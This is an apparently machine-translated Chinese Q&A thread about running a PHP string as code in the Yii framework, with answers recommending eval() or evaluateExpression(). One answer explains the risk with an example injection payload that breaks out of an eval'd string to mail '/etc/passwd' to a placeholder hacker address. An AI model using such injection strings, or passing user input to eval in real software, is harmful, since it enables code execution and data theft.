我正在使用Yii框架。 我想把php字符串变成php动作。
$var = 'echo "hello";';
//Something to do to run $var
我想打印$ var我该怎么做? 在Yii框架上有一个简单的解析php来自string选项吗?
答案 0 :(得分:2)
您可以使用eval()功能。但是,在许多情况下, eval是邪恶的,通常这种编码方式使得代码更难以遵循和调试。请注意来自用户的潜在不安全输入,因为,例如,如果你做
eval('echo "$var"')
和$ var直接从$ _POST设置,可以设置
$var='lol"; mail("hacker@somewhere.com", "Some passwords", "/bin/cat /etc/passwd");'
(已提供,该Web服务器位于用户之下,可以访问此类功能和目录;即使不是,它也提供了大量利用此类漏洞的机会)。所以,通常 eval是个坏主意,但有时它是唯一的解决方案。无论如何,要非常小心。
答案 1 :(得分:0)
eval - 将字符串评估为PHP代码
将给定代码评估为PHP。
<强>注意强> eval()语言构造非常危险,因为它允许执行任意PHP代码。 因此不鼓励使用。如果您已经仔细验证除了使用此构造之外没有其他选择,请特别注意不要将任何用户提供的数据传递到其中,而不事先正确验证它。
答案 2 :(得分:0)
$this->evaluateExpression($var);